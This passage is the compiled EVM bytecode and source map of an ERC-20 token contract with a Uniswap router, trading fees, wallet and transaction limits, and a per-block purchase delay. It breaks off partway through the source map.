d5b506101b060115481565b34801561034657600080fd5b5060065461018a9060ff1681565b34801561036057600080fd5b506101b061036f3660046116f2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a73384846109a8565b5060015b92915050565b60006103bf6009600a611825565b6103cd90633b9aca00611834565b905090565b60006103df848484610acd565b610431843361042c856040518060600160405280602881526020016119d8602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fee565b6109a8565b5060019392505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b81526004016104659061184b565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e25760405162461bcd60e51b81526004016104659061184b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561052b90309061051d6009600a611825565b61042c90633b9aca00611834565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a29190611880565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610604573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106289190611880565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611880565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106e55760405162461bcd60e51b81526004016104659061184b565b6106f16009600a611825565b6106ff90633b9aca00611834565b600f5561070e6009600a611825565b61071c90633b9aca00611834565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107566009600a611825565b61076490633b9aca00611834565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107a15760405162461bcd60e51b81526004016104659061184b565b601454600160a01b900460ff16156107fb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610465565b6013546001600160a01b031663f305d719473061082d816001600160a01b031660009081526001602052604090205490565b6000806108426000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108aa573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cf919061189d565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094c91906118cb565b506014805462ff00ff60a01b19166201000160a01b179055565b60006103a7338484610acd565b6000546001600160a01b0316331461099d5760405162461bcd60e51b81526004016104659061184b565b6109a647611028565b565b6001600160a01b038316610a0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b038216610a6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b315760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b038216610b935760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b60008111610bf55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610465565b601454600160b01b900460ff161580610c175750601454600160a81b900460ff165b15610c2c57610c2783838361106a565b505050565b600080546001600160a01b03858116911614801590610c5957506000546001600160a01b03848116911614155b15610fdc57610c8a6064610c84600b54600e5411610c7957600754610c7d565b6009545b8590611110565b90611199565b60065490915060ff1615610d72576013546001600160a01b03848116911614801590610cc457506014546001600160a01b03848116911614155b15610d7257326000908152600560205260409020544311610d5f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610465565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610d9d57506013546001600160a01b03848116911614155b8015610dc257506001600160a01b03831660009081526003602052604090205460ff16155b15610eaa57600f54821115610e195760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610465565b60105482610e3c856001600160a01b031660009081526001602052604090205490565b610e4691906118ed565b1115610e945760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610465565b600e8054906000610ea483611900565b91905055505b6014546001600160a01b038481169116148015610ed057506001600160a01b0384163014155b15610efd57610efa6064610c84600c54600e5411610ef057600854610c7d565b600a548590611110565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610f3457506014546001600160a01b038581169116145b8015610f495750601454600160b01b900460ff165b8015610f585750600d54600e54115b8015610f7d57506001600160a01b03851660009081526003602052604090205460ff16155b8015610fa257506001600160a01b03841660009081526003602052604090205460ff16155b15610fda57601154811115610fce57610fce610fc984610fc4846012546111db565b6111db565b6111f0565b47610fd847611028565b505b505b610fe88484838561136a565b50505050565b600081848411156110125760405162461bcd60e51b81526004016104659190611601565b50600061101f8486611919565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611066573d6000803e3d6000fd5b5050565b6001600160a01b03831660009081526001602052604090205461108d9082611402565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546110bc9082611444565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac09085815260200190565b600082600003611122575060006103ab565b600061112e8385611834565b90508261113b858361192c565b146111925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610465565b9392505050565b600061119283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a3565b60008183116111ea5782611192565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112385761123861194e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611291573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b59190611880565b816001815181106112c8576112c861194e565b6001600160a01b0392831660209182029290920101526013546112ee91309116846109a8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611327908590600090869030904290600401611964565b600060405180830381600087803b15801561134157600080fd5b505af1158015611355573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b81156113e4573060009081526001602052604090205461138a9083611444565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113db9086815260200190565b60405180910390a35b610fe884846113f387856114d1565b6113fd8686611541565b61154d565b600061119283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fee565b60008061145183856118ed565b9050838110156111925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610465565b600081836114c45760405162461bcd60e51b81526004016104659190611601565b50600061101f848661192c565b600080600a546009546114e491906118ed565b6001600160a01b0385166000908152600360205260408120549192509060ff16611521576115128483611834565b61151c90856118ed565b61101f565b8361152d8360016118ed565b6115379190611834565b61101f9085611919565b60006111928284611402565b6001600160a01b0384166000908152600160205260409020546115709083611402565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461159f9082611444565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115f39085815260200190565b60405180910390a350505050565b60006020808352835180602085015260005b8181101561162f57858101830151858201604001528201611613565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461166557600080fd5b50565b6000806040838503121561167b57600080fd5b823561168681611650565b946020939093013593505050565b6000806000606084860312156116a957600080fd5b83356116b481611650565b925060208401356116c481611650565b929592945050506040919091013590565b6000602082840312156116e757600080fd5b813561119281611650565b6000806040838503121561170557600080fd5b823561171081611650565b9150602083013561172081611650565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561177c5781600019048211156117625761176261172b565b8085161561176f57918102915b93841c9390800290611746565b509250929050565b600082611793575060016103ab565b816117a0575060006103ab565b81600181146117b657600281146117c0576117dc565b60019150506103ab565b60ff8411156117d1576117d161172b565b50506001821b6103ab565b5060208310610133831016604e8410600b84101617156117ff575081810a6103ab565b6118098383611741565b806000190482111561181d5761181d61172b565b029392505050565b600061119260ff841683611784565b80820281158282048414176103ab576103ab61172b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561189257600080fd5b815161119281611650565b6000806000606084860312156118b257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118dd57600080fd5b8151801515811461119257600080fd5b808201808211156103ab576103ab61172b565b6000600182016119125761191261172b565b5060010190565b818103818111156103ab576103ab61172b565b60008261194957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b818110156119b65784516001600160a01b031683529383019391830191600101611991565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa9a8bcf132bd6829ee765b15412263b575267cb0db84ec2b0f6c68fddc02a4364736f6c63430008190033

3983:10179:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5955:83;;;;;;;;;;-1:-1:-1;6025:5:0;;;;;;;;;;;-1:-1:-1;;;6025:5:0;;;;5955:83;;;;6025:5;5955:83;:::i;:::-;;;;;;;;6838:186;;;;;;;;;;-1:-1:-1;6838:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6838:186:0;1023:187:1;5196:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5196:55:0;1215:177:1;6232:95:0;;;;;;;;;;;;;:::i;7032:446::-;;;;;;;;;;-1:-1:-1;7032:446:0;;;;;:::i;:::-;;:::i;6141:83::-;;;;;;;;;;-1:-1:-1;6141:83:0;;4823:1;2000:36:1;;1988:2;1973:18;6141:83:0;1858:184:1;6335:119:0;;;;;;;;;;-1:-1:-1;6335:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6428:18:0;6401:7;6428:18;;;:9;:18;;;;;;;6335:119;3014:148;;;;;;;;;;;;;:::i;:::-;;13245:390;;;;;;;;;;;;;:::i;12833:201::-;;;;;;;;;;;;;:::i;5005:56::-;;;;;;;;;;;;;;;;13643:479;;;;;;;;;;;;;:::i;2800:79::-;;;;;;;;;;-1:-1:-1;2838:7:0;2865:6;2800:79;;-1:-1:-1;;;;;2865:6:0;;;2445:51:1;;2433:2;2418:18;2800:79:0;2299:203:1;5068:58:0;;;;;;;;;;;;;;;;6462:192;;;;;;;;;;-1:-1:-1;6462:192:0;;;;;:::i;:::-;;:::i;13142:95::-;;;;;;;;;;;;;:::i;5133:56::-;;;;;;;;;;;;;;;;4363:40;;;;;;;;;;-1:-1:-1;4363:40:0;;;;;;;;6662:168;;;;;;;;;;-1:-1:-1;6662:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6795:18:0;;;6768:7;6795:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6662:168;6838:186;6938:4;6955:39;427:10;6978:7;6987:6;6955:8;:39::i;:::-;-1:-1:-1;7012:4:0;6838:186;;;;;:::o;6232:95::-;6285:7;4879:15;4823:1;4879:2;:15;:::i;:::-;4866:28;;:10;:28;:::i;:::-;6305:14;;6232:95;:::o;7032:446::-;7164:4;7181:36;7191:6;7199:9;7210:6;7181:9;:36::i;:::-;7228:220;7251:6;427:10;7299:138;7355:6;7299:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7299:19:0;;;;;;:11;:19;;;;;;;;427:10;7299:33;;;;;;;;;;:37;:138::i;:::-;7228:8;:220::i;:::-;-1:-1:-1;7466:4:0;7032:446;;;;;:::o;3014:148::-;2927:6;;-1:-1:-1;;;;;2927:6:0;427:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;;;;;;;;;3121:1:::1;3105:6:::0;;3084:40:::1;::::0;-1:-1:-1;;;;;3105:6:0;;::::1;::::0;3084:40:::1;::::0;3121:1;;3084:40:::1;3152:1;3135:19:::0;;-1:-1:-1;;;;;;3135:19:0::1;::::0;;3014:148::o;13245:390::-;2927:6;;-1:-1:-1;;;;;2927:6:0;427:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;13296:15:::1;:104:::0;;-1:-1:-1;;;;;;13296:104:0::1;13347:42;13296:104:::0;;::::1;::::0;;;13411:58:::1;::::0;13428:4:::1;::::0;4879:15:::1;4823:1;4879:2;:15;:::i;:::-;4866:28;::::0;:10:::1;:28;:::i;13411:58::-;13514:15;;;;;;;;;-1:-1:-1::0;;;;;13514:15:0::1;-1:-1:-1::0;;;;;13514:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13496:55:0::1;;13574:4;13594:15;;;;;;;;;-1:-1:-1::0;;;;;13594:15:0::1;-1:-1:-1::0;;;;;13594:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13496:131;::::0;-1:-1:-1;;;;;;13496:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;13496:131:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;13496:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13480:13;:147:::0;;-1:-1:-1;;;;;;13480:147:0::1;-1:-1:-1::0;;;;;13480:147:0;;;::::1;::::0;;;::::1;::::0;;13245:390::o;12833:201::-;2927:6;;-1:-1:-1;;;;;2927:6:0;427:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;4879:15:::1;4823:1;4879:2;:15;:::i;:::-;4866:28;::::0;:10:::1;:28;:::i;:::-;12887:12;:22:::0;4879:15:::1;4823:1;4879:2;:15;:::i;:::-;4866:28;::::0;:10:::1;:28;:::i;:::-;12920:14;:24:::0;12955:20:::1;:28:::0;;-1:-1:-1;;12955:28:0::1;::::0;;12999:27:::1;4879:15;4823:1;-1:-1:-1::0;4879:15:0::1;:::i;:::-;4866:28;::::0;:10:::1;:28;:::i;:::-;12999:27;::::0;1361:25:1;;;1349:2;1334:18;12999:27:0::1;;;;;;;12833:201::o:0;13643:479::-;2927:6;;-1:-1:-1;;;;;2927:6:0;427:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;13701:11:::1;::::0;-1:-1:-1;;;13701:11:0;::::1;;;13700:12;13692:48;;;::::0;-1:-1:-1;;;13692:48:0;;5710:2:1;13692:48:0::1;::::0;::::1;5692:21:1::0;5749:2;5729:18;;;5722:30;5788:25;5768:18;;;5761:53;5831:18;;13692:48:0::1;5508:347:1::0;13692:48:0::1;13751:15;::::0;-1:-1:-1;;;;;13751:15:0::1;:31;13790:21;13835:4;13855:24;13835:4:::0;-1:-1:-1;;;;;6428:18:0;6401:7;6428:18;;;:9;:18;;;;;;;6335:119;13855:24:::1;13894:1;13910::::0;13926:7:::1;2838::::0;2865:6;-1:-1:-1;;;;;2865:6:0;;2800:79;13926:7:::1;13751:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13751:223:0;;;-1:-1:-1;;;;;6219:15:1;;;13751:223:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13948:15:0::1;6433:19:1::0;;;6426:35;6135:19;;13751:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13992:13:0::1;::::0;14023:15:::1;::::0;13985:71:::1;::::0;-1:-1:-1;;;13985:71:0;;-1:-1:-1;;;;;14023:15:0;;::::1;13985:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13992:13:0;::::1;::::0;-1:-1:-1;13985:29:0::1;::::0;6930:18:1;;13985:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;14067:11:0::1;:18:::0;;-1:-1:-1;;;;14096:18:0;-1:-1:-1;;;14096:18:0;;;13643:479::o;6462:192::-;6565:4;6582:42;427:10;6606:9;6617:6;6582:9;:42::i;13142:95::-;2927:6;;-1:-1:-1;;;;;2927:6:0;427:10;2927:22;2919:67;;;;-1:-1:-1;;;2919:67:0;;;;;;;:::i;:::-;13194:35:::1;13207:21;13194:12;:35::i;:::-;13142:95::o:0;7486:335::-;-1:-1:-1;;;;;7579:19:0;;7571:68;;;;-1:-1:-1;;;7571:68:0;;7546:2:1;7571:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7571:68:0;7344:400:1;7571:68:0;-1:-1:-1;;;;;7658:21:0;;7650:68;;;;-1:-1:-1;;;7650:68:0;;7951:2:1;7650:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7650:68:0;7749:398:1;7650:68:0;-1:-1:-1;;;;;7729:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7781:32;;1361:25:1;;;7781:32:0;;1334:18:1;7781:32:0;;;;;;;;7486:335;;;:::o;8070:2943::-;-1:-1:-1;;;;;8158:18:0;;8150:68;;;;-1:-1:-1;;;8150:68:0;;8354:2:1;8150:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;8150:68:0;8152:401:1;8150:68:0;-1:-1:-1;;;;;8237:16:0;;8229:64;;;;-1:-1:-1;;;8229:64:0;;8760:2:1;8229:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;8229:64:0;8558:399:1;8229:64:0;8321:1;8312:6;:10;8304:64;;;;-1:-1:-1;;;8304:64:0;;9164:2:1;8304:64:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;8304:64:0;8962:405:1;8304:64:0;8384:11;;-1:-1:-1;;;8384:11:0;;;;8383:12;;:22;;-1:-1:-1;8399:6:0;;-1:-1:-1;;;8399:6:0;;;;8383:22;8379:108;;;8422:32;8437:4;8443:2;8447:6;8422:14;:32::i;:::-;8070:2943;;;:::o;8379:108::-;8497:17;2865:6;;-1:-1:-1;;;;;8533:15:0;;;2865:6;;8533:15;;;;:32;;-1:-1:-1;2838:7:0;2865:6;-1:-1:-1;;;;;8552:13:0;;;2865:6;;8552:13;;8533:32;8529:2421;;;8594:208;8798:3;8594:181;8658:15;;8646:9;;:27;8645:111;;8742:14;;8645:111;;;8702:12;;8645:111;8594:6;;:28;:181::i;:::-;:203;;:208::i;:::-;8823:20;;8582:220;;-1:-1:-1;8823:20:0;;8819:522;;;8904:15;;-1:-1:-1;;;;;8890:30:0;;;8904:15;;8890:30;;;;:83;;-1:-1:-1;8959:13:0;;-1:-1:-1;;;;;8945:28:0;;;8959:13;;8945:28;;8890:83;8864:462;;;9079:9;9050:39;;;;:28;:39;;;;;;9092:12;-1:-1:-1;9016:213:0;;;;-1:-1:-1;;;9016:213:0;;9574:2:1;9016:213:0;;;9556:21:1;9613:2;9593:18;;;9586:30;9652:34;9632:18;;;9625:62;9723:34;9703:18;;;9696:62;-1:-1:-1;;;9774:19:1;;;9767:40;9824:19;;9016:213:0;9372:477:1;9016:213:0;9281:9;9252:39;;;;:28;:39;;;;;9294:12;9252:54;;8864:462;9387:13;;-1:-1:-1;;;;;9379:21:0;;;9387:13;;9379:21;:72;;;;-1:-1:-1;9435:15:0;;-1:-1:-1;;;;;9421:30:0;;;9435:15;;9421:30;;9379:72;:116;;;;-1:-1:-1;;;;;;9473:22:0;;;;;;:18;:22;;;;;;;;9472:23;9379:116;9357:438;;;9548:12;;9538:6;:22;;9530:60;;;;-1:-1:-1;;;9530:60:0;;10056:2:1;9530:60:0;;;10038:21:1;10095:2;10075:18;;;10068:30;10134:27;10114:18;;;10107:55;10179:18;;9530:60:0;9854:349:1;9530:60:0;9665:14;;9655:6;9639:13;9649:2;-1:-1:-1;;;;;6428:18:0;6401:7;6428:18;;;:9;:18;;;;;;;6335:119;9639:13;:22;;;;:::i;:::-;:40;;9609:140;;;;-1:-1:-1;;;9609:140:0;;10540:2:1;9609:140:0;;;10522:21:1;10579:2;10559:18;;;10552:30;10618:28;10598:18;;;10591:56;10664:18;;9609:140:0;10338:350:1;9609:140:0;9768:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9357:438;9821:13;;-1:-1:-1;;;;;9815:19:0;;;9821:13;;9815:19;:44;;;;-1:-1:-1;;;;;;9838:21:0;;9854:4;9838:21;;9815:44;9811:332;;;9892:235;10123:3;9892:204;9964:16;;9952:9;;:28;9951:122;;10058:15;;9951:122;;;10013:13;;9892:6;;:32;:204::i;:235::-;9880:247;;9811:332;10208:4;10159:28;6428:18;;;:9;:18;;;;;;10252:6;;-1:-1:-1;;;10252:6:0;;;;10251:7;:47;;;;-1:-1:-1;10285:13:0;;-1:-1:-1;;;;;10279:19:0;;;10285:13;;10279:19;10251:47;:79;;;;-1:-1:-1;10319:11:0;;-1:-1:-1;;;10319:11:0;;;;10251:79;:130;;;;;10363:18;;10351:9;;:30;10251:130;:176;;;;-1:-1:-1;;;;;;10403:24:0;;;;;;:18;:24;;;;;;;;10402:25;10251:176;:220;;;;-1:-1:-1;;;;;;10449:22:0;;;;;;:18;:22;;;;;;;;10448:23;10251:220;10229:710;;;10532:17;;10509:20;:40;10506:205;;;10574:117;10617:51;10621:6;10629:38;10633:20;10655:11;;10629:3;:38::i;:::-;10617:3;:51::i;:::-;10574:16;:117::i;:::-;10776:21;10869:35;10882:21;10869:12;:35::i;:::-;10487:452;10229:710;8567:2383;8529:2421;10962:43;10977:4;10983:2;10987:9;10998:6;10962:14;:43::i;:::-;8139:2874;8070:2943;;;:::o;1602:224::-;1722:7;1758:12;1750:6;;;;1742:29;;;;-1:-1:-1;;;1742:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1782:9:0;1794:5;1798:1;1794;:5;:::i;:::-;1782:17;1602:224;-1:-1:-1;;;;;1602:224:0:o;13042:92::-;13099:10;;:27;;:10;;;;-1:-1:-1;;;;;13099:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;13042:92;:::o;7829:233::-;-1:-1:-1;;;;;7933:15:0;;;;;;:9;:15;;;;;;:27;;7953:6;7933:19;:27::i;:::-;-1:-1:-1;;;;;7915:15:0;;;;;;;:9;:15;;;;;;:45;;;;7987:13;;;;;;;:25;;8005:6;7987:17;:25::i;:::-;-1:-1:-1;;;;;7971:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8028:26;;;;;;;;;;8047:6;1361:25:1;;1349:2;1334:18;;1215:177;1834:246:0;1892:7;1916:1;1921;1916:6;1912:47;;-1:-1:-1;1946:1:0;1939:8;;1912:47;1969:9;1981:5;1985:1;1981;:5;:::i;:::-;1969:17;-1:-1:-1;2014:1:0;2005:5;2009:1;1969:17;2005:5;:::i;:::-;:10;1997:56;;;;-1:-1:-1;;;1997:56:0;;11390:2:1;1997:56:0;;;11372:21:1;11429:2;11409:18;;;11402:30;11468:34;11448:18;;;11441:62;-1:-1:-1;;;11519:18:1;;;11512:31;11560:19;;1997:56:0;11188:397:1;1997:56:0;2071:1;1834:246;-1:-1:-1;;;1834:246:0:o;2088:132::-;2146:7;2173:39;2177:1;2180;2173:39;;;;;;;;;;;;;;;;;:3;:39::i;12227:107::-;12284:7;12316:1;12312;:5;12311:15;;12325:1;12311:15;;;-1:-1:-1;12321:1:0;12227:107;-1:-1:-1;12227:107:0:o;12342:483::-;5535:6;:13;;-1:-1:-1;;;;5535:13:0;-1:-1:-1;;;5535:13:0;;;12444:16:::1;::::0;;12458:1:::1;12444:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12444:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12444:16:0::1;12420:40;;12489:4;12471;12476:1;12471:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12471:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12515:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12515:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12471:7;;12515:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12505:4;12510:1;12505:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12505:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12580:15:::1;::::0;12548:62:::1;::::0;12565:4:::1;::::0;12580:15:::1;12598:11:::0;12548:8:::1;:62::i;:::-;12621:15;::::0;:196:::1;::::0;-1:-1:-1;;;12621:196:0;;-1:-1:-1;;;;;12621:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12702:11;;12621:15:::1;::::0;12744:4;;12771::::1;::::0;12791:15:::1;::::0;12621:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5571:6:0;:14;;-1:-1:-1;;;;5571:14:0;;;-1:-1:-1;;;;12342:483:0:o;11021:470::-;11178:13;;11174:204;;11253:4;11235:24;;;;:9;:24;;;;;;:71;;11282:9;11235:28;:71::i;:::-;11226:4;11208:24;;;;:9;:24;;;;;;;:98;;;;11326:40;;-1:-1:-1;;;;;11326:40:0;;;;;;;11356:9;1361:25:1;;1349:2;1334:18;;1215:177;11326:40:0;;;;;;;;11174:204;11390:93;11406:4;11412:2;11416:29;11427:4;11433:11;11416:10;:29::i;:::-;11447:35;11459:9;11470:11;11447;:35::i;:::-;11390:15;:93::i;1458:136::-;1516:7;1543:43;1547:1;1550;1543:43;;;;;;;;;;;;;;;;;:3;:43::i;1271:179::-;1329:7;;1361:5;1365:1;1361;:5;:::i;:::-;1349:17;;1390:1;1385;:6;;1377:46;;;;-1:-1:-1;;;1377:46:0;;13041:2:1;1377:46:0;;;13023:21:1;13080:2;13060:18;;;13053:30;13119:29;13099:18;;;13092:57;13166:18;;1377:46:0;12839:351:1;2228:223:0;2348:7;2383:12;2376:5;2368:28;;;;-1:-1:-1;;;2368:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2407:9:0;2419:5;2423:1;2419;:5;:::i;11499:306::-;11579:7;11599:12;11629:13;;11614:12;;:28;;;;:::i;:::-;-1:-1:-1;;;;;11671:28:0;;11653:15;11671:28;;;:18;:28;;;;;;11599:43;;-1:-1:-1;11653:15:0;11671:28;;:101;;11754:18;11761:11;11754:4;:18;:::i;:::-;11740:32;;:11;:32;:::i;:::-;11671:101;;;11727:11;11717:6;:4;11722:1;11717:6;:::i;:::-;11716:22;;;;:::i;:::-;11702:36;;:11;:36;:::i;11813:143::-;11895:7;11922:26;:11;11938:9;11922:15;:26::i;11964:255::-;-1:-1:-1;;;;;12087:15:0;;;;;;:9;:15;;;;;;:28;;12107:7;12087:19;:28::i;:::-;-1:-1:-1;;;;;12069:15:0;;;;;;;:9;:15;;;;;;:46;;;;12142:13;;;;;;;:26;;12160:7;12142:17;:26::i;:::-;-1:-1:-1;;;;;12126:13:0;;;;;;;:9;:13;;;;;;;:42;;;;12184:27;;;;;;;;;;12203:7;1361:25:1;;1349:2;1334:18;;1215:177;12184:27:0;;;;;;;;11964:255;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;5